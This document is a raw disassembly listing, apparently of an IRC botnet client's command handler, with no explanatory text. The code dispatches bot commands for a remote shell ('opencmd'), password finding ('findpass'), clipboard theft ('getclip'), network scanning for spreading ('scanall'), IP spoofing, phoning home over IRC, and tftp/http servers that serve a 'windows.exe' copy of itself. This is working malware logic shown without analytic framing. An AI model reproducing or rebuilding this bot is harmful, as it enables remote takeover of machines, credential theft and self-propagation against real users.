pop ecx
pop ecx
jz loc_404A8A
push edi ; Str2
push offset aDll ; "dll"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404A8A
push edi ; Str2
push offset aOpencmd ; "opencmd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404A1C
push edi ; Str2
push offset aOcmd ; "ocmd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404A1C
push edi ; Str2
push offset aCmdstop ; "cmdstop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_403EB3
push dword ptr [ebp+esi+4Ch+Args]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_42F5F4
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_403EB3: ; CODE XREF: sub_40274D+174Fj
push edi ; Str2
push offset aWho ; "who"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_403FC1
cmp [ebp+4Ch+var_C], ebx
jnz short loc_403EE4
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset dword_42F5DC ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_403EE4: ; CODE XREF: sub_40274D+177Ej
mov eax, [ebp+4Ch+Str1]
mov [ebp+4Ch+var_24], ebx
mov [ebp+4Ch+var_14], eax
jmp short loc_403EF2
; ---------------------------------------------------------------------------
loc_403EEF: ; CODE XREF: sub_40274D+17EEj
mov eax, [ebp+4Ch+var_14]
loc_403EF2: ; CODE XREF: sub_40274D+17A0j
cmp [eax], bl
jz short loc_403EF9
inc eax
jmp short loc_403EFE
; ---------------------------------------------------------------------------
loc_403EF9: ; CODE XREF: sub_40274D+17A7j
mov eax, offset aEmpty ; "<Empty>"
loc_403EFE: ; CODE XREF: sub_40274D+17AAj
push eax
push [ebp+4Ch+var_24]
lea eax, [ebp+4Ch+Dst]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add [ebp+4Ch+var_14], 80h
add esp, 24h
inc [ebp+4Ch+var_24]
cmp [ebp+4Ch+var_24], 3
jl short loc_403EEF
push offset unk_42F5A8
call sub_417D70
pop ecx
loc_403F48: ; CODE XREF: sub_40274D+1A74j
; sub_40274D+2D0Aj
mov eax, dword ptr [ebp+esi+4Ch+Args]
cmp eax, ebx
mov [ebp+4Ch+var_8], eax
jz loc_402B92
push edi ; Str2
push offset aSpoof ; "spoof"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405563
mov esi, [ebp+4Ch+var_8]
push offset Str2 ; "off"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405469
lea eax, [ebp+4Ch+Dst]
push offset asc_42F574 ; "-"
push eax ; Dest
mov dword_4D5898, ebx
call _sprintf
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_40274D+2DBDj
; sub_40274D+2DE3j ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_404979
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
jmp loc_409FDB
; ---------------------------------------------------------------------------
loc_403FC1: ; CODE XREF: sub_40274D+1775j
push edi ; Str2
push offset aGetclip ; "getclip"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4049DC
push edi ; Str2
push offset aGc ; "gc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4049DC
push edi ; Str2
push offset aFlusharp ; "flusharp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4049BF
push edi ; Str2
push offset aFarp ; "farp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4049BF
push edi ; Str2
push offset aFlushdns ; "flushdns"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404981
push edi ; Str2
push offset aFdns ; "fdns"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404981
push edi ; Str2
push offset aCurrentip ; "currentip"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40494B
push edi ; Str2
push offset aCip ; "cip"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40494B
push edi ; Str2
push offset aRloginserver ; "rloginserver"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404809
push edi ; Str2
push offset aRlogin ; "rlogin"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404809
push edi ; Str2
push offset aHttpserver ; "httpserver"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40469D
push edi ; Str2
push offset aHttp ; "http"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40469D
push edi ; Str2
push offset aTftpserver ; "tftpserver"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404575
push edi ; Str2
push offset aTftp ; "tftp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404575
push edi ; Str2
push offset aCrash ; "crash"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40414A
lea eax, [ebp+4Ch+Dst]
push offset asc_42F4CC ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+4Ch+var_C], ebx
pop ecx
pop ecx
jnz short loc_404129
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_404129: ; CODE XREF: sub_40274D+19C1j
lea eax, [ebp+4Ch+Dst]
push eax ; Str2
call sub_417D70
mov [esp+5DA0h+var_5DEC], offset aCrash ; "crash"
push [ebp+esi+4Ch+var_90] ; Str1
call _strcmp
jmp loc_40A216
; ---------------------------------------------------------------------------
loc_40414A: ; CODE XREF: sub_40274D+19A9j
push edi ; Str2
push offset aScanall ; "scanall"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404279
push edi ; Str2
push offset aSa ; "sa"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_404279
push edi ; Str2
push offset aPhonehome ; "phonehome"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4041A1
lea eax, [ebp+4Ch+var_D0]
push eax ; Args
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+4Ch+arg_4] ; int
call sub_4011F5
loc_404199: ; CODE XREF: sub_40274D+418j
add esp, 0Ch
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_4041A1: ; CODE XREF: sub_40274D+1A36j
push edi ; Str2
push offset aFindpass ; "findpass"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4041C7
push edi ; Str2
push offset aFp ; "fp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_403F48
loc_4041C7: ; CODE XREF: sub_40274D+1A63j
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_F5C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_F60], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_ED8], eax
mov eax, [ebp+4Ch+var_C]
push offset asc_42F45C ; "-"
mov [ebp+4Ch+var_ED4], eax
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 26h ; int
push eax ; Source
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_EDC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_F60]
push eax
push offset sub_419FFD
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_EDC]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_40426C
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F420
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_404264: ; CODE XREF: sub_40274D+1B25j
push 32h
call ds:dword_42B014 ; Sleep
loc_40426C: ; CODE XREF: sub_40274D+1B04j
cmp [ebp+4Ch+var_ED0], ebx
jz short loc_404264
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_404279: ; CODE XREF: sub_40274D+1A0Cj
; sub_40274D+1A21j
mov al, byte_43DF5A
cmp al, bl
mov [ebp+4Ch+var_14], ebx
mov edx, offset byte_43DF5A
jz loc_402B92
mov ecx, edx
loc_404290: ; CODE XREF: sub_40274D+1B4Bj
inc [ebp+4Ch+var_14]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_404290
cmp al, bl
jz loc_402B92
mov [ebp+4Ch+var_20], edx
mov esi, offset a_fast__1 ; "#.fast.#"
loc_4042AA: ; CODE XREF: sub_40274D+1E01j
push 0Bh
call sub_40B075
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+4Ch+var_14]
add eax, ecx
cmp eax, 1F4h
jle short loc_4042F6
push ecx
lea eax, [ebp+4Ch+Dst]
push offset asc_42F3E0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 20h
jmp loc_404545
; ---------------------------------------------------------------------------
loc_4042F6: ; CODE XREF: sub_40274D+1B77j
or [ebp+4Ch+var_738], 0FFFFFFFFh
cmp dword_43D878, ebx
mov [ebp+4Ch+var_73C], 64h
mov [ebp+4Ch+var_750], 5
mov [ebp+4Ch+var_74C], 320h
mov [ebp+4Ch+var_14], ebx
jz short loc_404367
mov edi, offset dword_43D878
loc_40432B: ; CODE XREF: sub_40274D+1BFCj
mov eax, [ebp+4Ch+var_20]
add eax, 0FFFFFFF6h
push eax ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_40434D
inc [ebp+4Ch+var_14]
add edi, 40h
cmp [edi], ebx
jnz short loc_40432B
jmp short loc_404367
; ---------------------------------------------------------------------------
loc_40434D: ; CODE XREF: sub_40274D+1BF2j
mov eax, [ebp+4Ch+var_14]
mov ecx, eax
shl ecx, 6
mov ecx, dword_43D878[ecx]
mov [ebp+4Ch+var_754], ecx
mov [ebp+4Ch+var_738], eax
loc_404367: ; CODE XREF: sub_40274D+1BD7j
; sub_40274D+1BFEj
cmp [ebp+4Ch+var_754], ebx
jz loc_40456B
push 10h
pop edi
lea eax, [ebp+4Ch+var_2E0]
push eax
lea eax, [ebp+4Ch+var_314]
push eax
push [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2E0], edi
call dword_444068 ; getsockname
mov al, [ebp+4Ch+var_907]
neg al
push edi
sbb eax, eax
and eax, 0FFFF0100h
add eax, 0FFFFh
and [ebp+4Ch+Count], eax
push [ebp+4Ch+Count] ; Count
call dword_444188 ; inet_ntoa
push eax ; Source
lea eax, [ebp+4Ch+var_868]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+4Ch+var_907], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+4Ch+var_868]
push eax ; Str
call _strrchr
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+4Ch+arg_0+3], bl
jle short loc_404410
loc_4043EE: ; CODE XREF: sub_40274D+1CC1j
cmp eax, ebx
jz short loc_404410
mov byte ptr [eax], 78h
lea eax, [ebp+4Ch+var_868]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+4Ch+arg_0+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+4Ch+arg_0+3]
cmp ecx, edi
jl short loc_4043EE
loc_404410: ; CODE XREF: sub_40274D+1C9Fj
; sub_40274D+1CA3j
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+Format] ; Format
mov [ebp+4Ch+var_758], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_730], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_72C], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_858]
push edi ; Count
push eax ; Dest
mov [ebp+4Ch+var_728], 1
call __snprintf
push offset byte_42B633 ; Str2
push esi ; Str1
call _strcmp
add esp, 14h
test eax, eax
jz short loc_40446F
push esi ; Format
lea eax, [ebp+4Ch+var_7D8]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_404475
; ---------------------------------------------------------------------------
loc_40446F: ; CODE XREF: sub_40274D+1D0Dj
mov [ebp+4Ch+var_7D8], bl
loc_404475: ; CODE XREF: sub_40274D+1D20j
cmp [ebp+4Ch+var_728], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_404487
mov eax, offset aSequential ; "Sequential"
loc_404487: ; CODE XREF: sub_40274D+1D33j
push [ebp+4Ch+var_73C]
lea ecx, [ebp+4Ch+var_868]
push [ebp+4Ch+var_74C]
push [ebp+4Ch+var_750]
push [ebp+4Ch+var_754]
push ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42F360 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Bh ; int
push eax ; Source
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_748], eax
lea eax, [ebp+4Ch+var_1C]
push eax ; Args
push ebx
lea eax, [ebp+4Ch+var_868]
push eax
push offset sub_40BEFE
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_748]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404561
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42F324 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40451A: ; CODE XREF: sub_40274D+1E1Cj
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404538
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_404538: ; CODE XREF: sub_40274D+1DD0j
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
pop ecx
loc_404545: ; CODE XREF: sub_40274D+1BA4j
add [ebp+4Ch+var_20], 0Bh
mov eax, [ebp+4Ch+var_20]
cmp [eax], bl
jnz loc_4042AA
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404559: ; CODE XREF: sub_40274D+1E1Aj
push 32h
call ds:dword_42B014 ; Sleep
loc_404561: ; CODE XREF: sub_40274D+1DB0j
cmp [ebp+4Ch+var_724], ebx
jz short loc_404559
jmp short loc_40451A
; ---------------------------------------------------------------------------
loc_40456B: ; CODE XREF: sub_40274D+1C20j
push offset unk_42F2EC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_40274D+197Fj
; sub_40274D+1994j
push 5
call sub_40B075
test eax, eax
pop ecx
jle short loc_40458B
push offset unk_42F2CC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40458B: ; CODE XREF: sub_40274D+1E32j
mov eax, dword ptr [ebp+esi+4Ch+Args]
cmp eax, ebx
mov edi, 104h
jz short loc_4045AB
push eax ; Format
lea eax, [ebp+4Ch+var_2D58]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4045BA
; ---------------------------------------------------------------------------
loc_4045AB: ; CODE XREF: sub_40274D+1E49j
push edi
lea eax, [ebp+4Ch+var_2D58]
push eax
push ebx
call ds:dword_42B00C ; GetModuleFileNameA
loc_4045BA: ; CODE XREF: sub_40274D+1E5Cj
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
jnz short loc_4045C7
mov esi, offset aWindows_exe ; "windows.exe"
loc_4045C7: ; CODE XREF: sub_40274D+1E73j
push esi ; Format
lea eax, [ebp+4Ch+var_2C54]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, dword_43C074
mov [ebp+4Ch+var_2B48], eax
mov eax, [ebp+4Ch+arg_4]
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_2D5C], eax
lea eax, [ebp+4Ch+var_2B44]
push eax ; Dest
mov [ebp+4Ch+var_2B4C], ebx
call _strncpy
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2AC4], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2AC0], eax
lea eax, [ebp+4Ch+var_2D58]
push eax
push [ebp+4Ch+var_2B48]
lea eax, [ebp+4Ch+Dst]
push offset asc_42F298 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 5 ; int
push eax ; Source
call sub_40AE85
add esp, 34h
mov [ebp+4Ch+var_2B50], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2D5C]
push eax
push offset sub_4146A1
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2B50]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404690
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F25C
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_404688: ; CODE XREF: sub_40274D+1F49j
push 32h
call ds:dword_42B014 ; Sleep
loc_404690: ; CODE XREF: sub_40274D+1F28j
cmp [ebp+4Ch+var_2ABC], ebx
jz short loc_404688
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40469D: ; CODE XREF: sub_40274D+1955j
; sub_40274D+196Aj
mov edi, dword ptr [ebp+esi+4Ch+Args]
cmp edi, ebx
jz short loc_4046B9
push edi ; Str
call j__atol
test eax, eax
pop ecx
jz short loc_4046B9
push edi ; Str
call j__atol
pop ecx
jmp short loc_4046BE
; ---------------------------------------------------------------------------
loc_4046B9: ; CODE XREF: sub_40274D+1F56j
; sub_40274D+1F61j
mov eax, dword_43C078
loc_4046BE: ; CODE XREF: sub_40274D+1F6Aj
mov esi, [ebp+esi+4Ch+Format]
mov [ebp+4Ch+var_36D0], eax
xor eax, eax
cmp [ebp+4Ch+var_904], bl
setz al
cmp esi, ebx
mov [ebp+4Ch+var_36BC], eax
jz short loc_4046EE
lea eax, [ebp+4Ch+var_37D4]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_404719
; ---------------------------------------------------------------------------
loc_4046EE: ; CODE XREF: sub_40274D+1F8Ej
push 104h
lea eax, [ebp+4Ch+FullPath]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
push ebx ; Dir
lea eax, [ebp+4Ch+Drive]
push eax ; Drive
lea eax, [ebp+4Ch+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_404719: ; CODE XREF: sub_40274D+1F9Fj
lea eax, [ebp+4Ch+var_37D4]
push eax ; Str
call _strlen
cmp [ebp+eax+4Ch+var_37D5], 5Ch
pop ecx
jnz short loc_404744
lea eax, [ebp+4Ch+var_37D4]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+4Ch+var_37D5], bl
loc_404744: ; CODE XREF: sub_40274D+1FE1j
push [ebp+4Ch+Format] ; Format
mov esi, [ebp+4Ch+arg_4]
lea eax, [ebp+4Ch+var_3A5C]
push 80h ; Count
push eax ; Dest
mov [ebp+4Ch+var_3A60], esi
call __snprintf
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 0Ch
mov [ebp+4Ch+var_36C0], eax
lea eax, [ebp+4Ch+var_37D4]
push eax
push [ebp+4Ch+var_36D0]
mov [ebp+4Ch+var_36C4], edi
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42F220 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 3 ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_36C8], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3A60]
push eax
push offset sub_412DD9
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_36C8]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4047FC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42F1E4
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4047F4: ; CODE XREF: sub_40274D+20B5j
push 32h
call ds:dword_42B014 ; Sleep
loc_4047FC: ; CODE XREF: sub_40274D+2094j
cmp [ebp+4Ch+var_36B4], ebx
jz short loc_4047F4
jmp loc_404929
; ---------------------------------------------------------------------------
loc_404809: ; CODE XREF: sub_40274D+192Bj
; sub_40274D+1940j
mov edi, dword ptr [ebp+esi+4Ch+Args]
cmp edi, ebx
jz short loc_404825
push edi ; Str
call j__atol
test eax, eax
pop ecx
jz short loc_404825
push edi ; Str
call j__atol
pop ecx
jmp short loc_40482A
; ---------------------------------------------------------------------------
loc_404825: ; CODE XREF: sub_40274D+20C2j
; sub_40274D+20CDj
mov eax, dword_43C07C
loc_40482A: ; CODE XREF: sub_40274D+20D6j
mov [ebp+4Ch+var_182C], eax
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
jnz short loc_40483E
lea eax, [ebp+4Ch+var_D0]
loc_40483E: ; CODE XREF: sub_40274D+20E9j
push eax ; Format
lea eax, [ebp+4Ch+var_196C]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+4Ch+var_98]
add esp, 0Ch
cmp esi, ebx
jnz short loc_40485D
mov esi, offset byte_42B633
loc_40485D: ; CODE XREF: sub_40274D+2109j
push esi ; Format
lea eax, [ebp+4Ch+var_192C]
push 100h ; Count
push eax ; Dest
call __snprintf
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_19EC]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+var_C]
mov esi, [ebp+4Ch+arg_4]
mov edi, [ebp+4Ch+var_4]
add esp, 18h
mov [ebp+4Ch+var_1818], eax
lea eax, [ebp+4Ch+var_196C]
push eax
push [ebp+4Ch+var_182C]
mov [ebp+4Ch+var_19F0], esi
push esi
mov [ebp+4Ch+var_181C], edi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42F1A8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 9 ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_1828], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_19F0]
push eax
push offset sub_413A51
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1828]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_404941
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42F16C ; "-"
loc_40491A: ; CODE XREF: sub_40274D+20A2j
; sub_40274D+4A78j ...
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_404929: ; CODE XREF: sub_40274D+20B7j
; sub_40274D+21FCj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx
push edi
jmp loc_4089CD
; ---------------------------------------------------------------------------
loc_404939: ; CODE XREF: sub_40274D+21FAj
push 32h
call ds:dword_42B014 ; Sleep
loc_404941: ; CODE XREF: sub_40274D+21BFj
cmp [ebp+4Ch+var_1814], ebx
jz short loc_404939
jmp short loc_404929
; ---------------------------------------------------------------------------
loc_40494B: ; CODE XREF: sub_40274D+1901j
; sub_40274D+1916j
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
jz short loc_40495B
push esi ; Str
call j__atol
jmp short loc_404962
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_40274D+2204j
push 0Bh
call sub_40B094
loc_404962: ; CODE XREF: sub_40274D+220Cj
cmp eax, ebx
pop ecx
jz short loc_404979
push eax ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40B619
loc_404976: ; CODE XREF: sub_40274D+26CBj
add esp, 10h
loc_404979: ; CODE XREF: sub_40274D+5C8j
; sub_40274D+5D4j ...
mov eax, [ebp+4Ch+arg_24]
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404981: ; CODE XREF: sub_40274D+18D7j
; sub_40274D+18ECj
mov eax, dword_4441F0
cmp eax, ebx
jz short loc_4049A4
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+4Ch+Dst]
jz short loc_40499D
push offset unk_42F148
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_40499D: ; CODE XREF: sub_40274D+2247j
push offset unk_42F11C
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049A4: ; CODE XREF: sub_40274D+223Bj
push offset asc_42F0F0 ; "-"
lea eax, [ebp+4Ch+Dst]
loc_4049AF: ; CODE XREF: sub_40274D+224Ej
; sub_40274D+2255j ...
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_4076E0
; ---------------------------------------------------------------------------
loc_4049BF: ; CODE XREF: sub_40274D+18ADj
; sub_40274D+18C2j
call sub_4022F5
test eax, eax
lea eax, [ebp+4Ch+Dst]
jz short loc_4049D5
push offset unk_42F0CC
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049D5: ; CODE XREF: sub_40274D+227Fj
push offset unk_42F0A0
jmp short loc_4049AF
; ---------------------------------------------------------------------------
loc_4049DC: ; CODE XREF: sub_40274D+1883j
; sub_40274D+1898j
cmp [ebp+4Ch+var_C], ebx
jnz short loc_4049F8
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset dword_42F088 ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_4049F8: ; CODE XREF: sub_40274D+2292j
push ebx ; int
push [ebp+4Ch+var_4] ; int
call sub_41AD5A
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push offset dword_42F06C
loc_404A12: ; CODE XREF: sub_40274D+257Dj
; sub_40274D+25ACj
call sub_417D70
jmp loc_409FB6
; ---------------------------------------------------------------------------
loc_404A1C: ; CODE XREF: sub_40274D+1725j
; sub_40274D+173Aj
push 0Ah
call sub_40B075
test eax, eax
pop ecx
jle short loc_404A2F
push offset unk_42F040
jmp short loc_404A4D
; ---------------------------------------------------------------------------
loc_404A2F: ; CODE XREF: sub_40274D+22D9j
push [ebp+4Ch+Format]
push [ebp+4Ch+arg_4]
call sub_41C9D4
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jnz short loc_404A48
push offset unk_42F018
jmp short loc_404A4D
; ---------------------------------------------------------------------------
loc_404A48: ; CODE XREF: sub_40274D+22F2j
push offset asc_42EFF8 ; "-"
loc_404A4D: ; CODE XREF: sub_40274D+22E0j
; sub_40274D+22F9j ...
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_404A5B: ; CODE XREF: sub_40274D+5574j
; sub_40274D+6E4Dj
cmp [ebp+4Ch+var_C], ebx
jnz short loc_404A79
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
loc_404A71: ; CODE XREF: sub_40274D+6ADFj
call sub_40123B
add esp, 14h
loc_404A79: ; CODE XREF: sub_40274D+2311j
; sub_40274D+2508j ...
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
jmp loc_40A217
; ---------------------------------------------------------------------------
loc_404A8A: ; CODE XREF: sub_40274D+16FBj
; sub_40274D+1710j
push [ebp+4Ch+var_C] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_401F92
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_404AA0: ; CODE XREF: sub_40274D+16D1j
; sub_40274D+16E6j
push dword ptr [ebp+esi+4Ch+Args] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_419725
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_404AB7: ; CODE XREF: sub_40274D+16A7j
; sub_40274D+16BCj
or edi, 0FFFFFFFFh
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, dword ptr [ebp+esi+4Ch+Args]
cmp esi, ebx
mov [ebp+4Ch+arg_0], eax
jz short loc_404ADD
push esi ; Str
call j__atol
pop ecx
mov edi, eax
loc_404ADD: ; CODE XREF: sub_40274D+2385j
mov eax, [ebp+4Ch+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404AF6
cmp edi, 0FFFFFFFFh
jnz loc_404979
loc_404AF6: ; CODE XREF: sub_40274D+239Ej
push ebx
call sub_41D5F8
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42EFE0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
